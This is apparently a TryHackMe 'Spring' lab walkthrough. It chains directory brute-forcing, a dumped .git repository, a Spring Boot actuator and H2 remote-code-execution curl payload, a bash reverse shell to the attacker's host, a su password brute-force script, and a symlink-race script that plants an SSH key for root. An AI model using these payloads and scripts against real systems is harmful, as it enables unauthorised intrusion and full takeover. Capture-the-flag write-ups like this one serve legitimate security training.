# Spring

**Room Link:** <https://tryhackme.com/room/spring>

### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="/files/gjQqC9AqlCgT6C0sho6U" alt=""><figcaption></figcaption></figure>

### Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="/files/HWvLi43N0jH1syZNrAm4" alt=""><figcaption></figcaption></figure>

### TCP/443 - HTTPS

**Kali**

```
gobuster dir -u https://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -k
```

<figure><img src="/files/WD9cFQQgiZGupYFvu3ty" alt=""><figcaption></figcaption></figure>

**Kali**

```
subl /etc/hosts
```

<figure><img src="/files/ohWZHEQ6ji2s6OJnZhxf" alt=""><figcaption></figcaption></figure>

**Kali**

```
gobuster dir -u https://spring.thm -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -k
```

<figure><img src="/files/9TxZYV8W1fIyGnjPOTDc" alt=""><figcaption></figcaption></figure>

**Kali**

```
gobuster dir -u https://spring.thm/sources -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -k
```

<figure><img src="/files/4K6WnSDdzkaLaRSM5MR7" alt=""><figcaption></figcaption></figure>

Changed the wordlist

**Kali**

```
gobuster dir -u https://spring.thm/sources/new -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-extensions-lowercase.txt -x php,html,txt -k
```

<figure><img src="/files/b5768yuDzPDE4WozQSCo" alt=""><figcaption></figcaption></figure>

### GitDumper

**Kali**

```
pip install git-dumper
mkdir git
git-dumper https://spring.thm/sources/new/.git/ git/
cd git
git log


grep -r pass *
```

<figure><img src="/files/J4NN8rZMFskIPmR758Y0" alt=""><figcaption></figcaption></figure>

**Kali**

```
git diff 92b433a86a015517f746a3437ba3802be9146722 1a83ec34bf5ab3a89096346c46f6fda2d26da7e6
```

<figure><img src="/files/ZkyPxAAUjxw8yvqy4rWp" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dX9l1MMMIYshuyY0XEA6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/pNt2GHCyNPyYcZbACtpZ" alt=""><figcaption></figcaption></figure>

## Initial Shell&#x20;

**Exploit:** <https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database/>

**Kali #1**

```
tcpdump -i ens5 icmp
```

**Kali #2**

```
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'ping -c 5 $KALI\');\"}' "https://$VICTIM/actuator/env" -k

curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k
```

<figure><img src="/files/B8ML9W4Irpv9l7TMbOSY" alt=""><figcaption></figcaption></figure>

**reverse.sh**

```
bash -c "bash -i >& /dev/tcp/$KALI/1337 0>&1"
```

**Kali #1**

```
python3 -m http.server 81
```

**Kali #2**

```
nc -lvnp 1337
```

Download payload

**Kali #3**

```
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'wget http://$KALI:81/reverse.sh -O /tmp/reverse.sh\');\"}' "https://$VICTIM/actuator/env" -k

curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k
```

Run payload

**Kali #3**

```
curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' --data-binary $'{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT(\'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new\',\' java.util.Scanner(Runtime.getRun\',\'time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }\');CALL EXEC(\'bash /tmp/reverse.sh\');\"}' "https://$VICTIM/actuator/env" -k

curl -X 'POST' -H 'Content-Type: application/json' -H 'x-9ad42dea0356cb04: 172.16.0.21' "https://$VICTIM/actuator/restart" -k
```

<figure><img src="/files/kMI8J52X7sNtdFsrFgKU" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

We found one password within environment variables

**Victim**

```
env
```

<figure><img src="/files/F6DNssNNznVVgpwbpQ8v" alt=""><figcaption></figcaption></figure>

## Bruteforce su

At this point we have two passwords that are very similar, neither of them are the password for johnsmith to login, the format is PrettyS3cure${keyword}Password123.

```
PrettyS3cureKeystorePassword123.
PrettyS3cureSpringPassword123.
```

**su\_brute\_force.sh**

```
#!/bin/bash

set -m #enable job control
export TOP_PID=$$ #get the current PID
trap "trap - SIGTERM && kill -- -$$" INT SIGINT SIGTERM EXIT #exit on trap

# https://github.com/fearside/ProgressBar/blob/master/progressbar.sh
# something to look at while waiting
function progressbar {
        let _progress=(${1}*100/${2}*100)/100
        let _done=(${_progress}*4)/10
        let _left=40-$_done

        _done=$(printf "%${_done}s")
        _left=$(printf "%${_left}s")

        printf "\rCracking : [${_done// /#}${_left// /-}] ${_progress}%%"
}

function brute() {
        keyword=$1 #get the word
        password="PrettyS3cure${keyword}Password123." #add it to our format
        output=$( ( sleep 0.2s && echo $password ) | script -qc 'su johnsmith -c "id"' /dev/null) # check the password
        if [[ $output != *"Authentication failure"* ]]; then #if password was correct
                printf "\rCreds Found! johnsmith:$password\n$output\nbye..." #print the password
                kill -9 -$(ps -o pgid= $TOP_PID  | grep -o '[0-9]*') #kill parent and other jobs
        fi
}

wordlist=$1 #get wordlist as parameter

count=$(wc -l $wordlist| grep -o '[0-9]*') #count how many words we have
current=1

while IFS= read -r line #for each line
do
        brute $line & #try the password
        progressbar ${current} ${count} #update progress bar. TODO:calculate ETA
        current=$(( current + 1 )) #increment
done < $wordlist #read the wordlist

wait #wait for active jobs
```

**Kali**

```
cat /usr/share/wordlists/rockyou.txt | grep -E ^[A-Z][a-z]+$ > capitalized_words.txt
```

**Victim**

```
wget http://$KALI:81/capitalized_words.txt -O /tmp/capitalized_words.txt
wget http://$KALI:81/su_brute_force.sh -O /tmp/su_brute_force.sh
chmod +x su_brute_force.sh
time bash su_brute_force.sh capitalized_words.txt
```

<figure><img src="/files/o5uBUlt3xve4U0d135g0" alt=""><figcaption></figcaption></figure>

**Victim**

```
su johnsmith
Password: PrettyS3cureAccountPassword123.
```

<figure><img src="/files/YA87hFdwUBYfp547g0nY" alt=""><figcaption></figcaption></figure>

**Kali**

```
ssh-keygen -t rsa
cat /root/.ssh/id_rsa.pub 
```

**Victim**

<pre><code><strong>echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2vjG2ZoKfoNoEF1ASSVX+M2hwD5g0PmUajFDBoDGrjM63T38/cadEHbJXgH8YS6syNLsf+mnSVeF9yWIeMLjfaeoIWE9UPCmS5OuPC2ZiAf+zTvo7X+OjnQKmHmNsQYJ8lhg24g3Gpw5rWreteGTMfmFPRBDNEX6J3JsNCdhoTjAhyRRRouUM9oMw1Yl4YcRAcK8xPU8ZuE6lk3kqzrrPhaCOafTdHvBKS+Q0Bn/Cq7V0ltBWkaSHIWRc50dMfwFHPR5DlYpuN6cOyIeF2L1LTcyPNmeeD/Na1d1RlRLL3HKNSW02T1z3hUAZTdmgEUvwz726qloHUmd8Hxo0Kq0j root@ip-10-10-228-158" > /home/johnsmith/.ssh/authorized_keys
</strong></code></pre>

**Kali**

```
su johnsmith@$VICTIM
```

## Privilege Escalation

**Victim**

```
vi /home/johnsmith/tomcatlogs/getroot.sh
```

**getroot.sh**

```
#!/bin/bash

#generate ssh key if it does not exists
[ -f ./key ] && true || ssh-keygen -b 2048 -t ed25519 -f ./key -q -N ""
#read public key
pubkey=$(cat ./key.pub)

#send a shutdown request to the spring boot server
curl -X POST https://localhost/actuator/shutdown -H 'x-9ad42dea0356cb04: 172.16.0.21' -k

#get date as epoch format
d=$(date '+%s')

#let's assume 30 seconds is enough to restart the service
for i in {1..30}
do
 #create symlinks to /root/.ssh/authorized_keys for 30 seconds
 let time=$(( d + i ))
 ln -s /root/.ssh/authorized_keys "$time.log"
done

#wait for app to restart
sleep 30s

#send publickey as name to the greating server
curl --data-urlencode "name=$pubkey" https://localhost/ -k
sleep 5s

#connect as root
ssh  -o "StrictHostKeyChecking=no" -i ./key root@localhost
```

**Victim**

```
bash getroot.sh
```

<figure><img src="/files/bsKiNxNkWSgB3hIEsaUY" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/spring.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
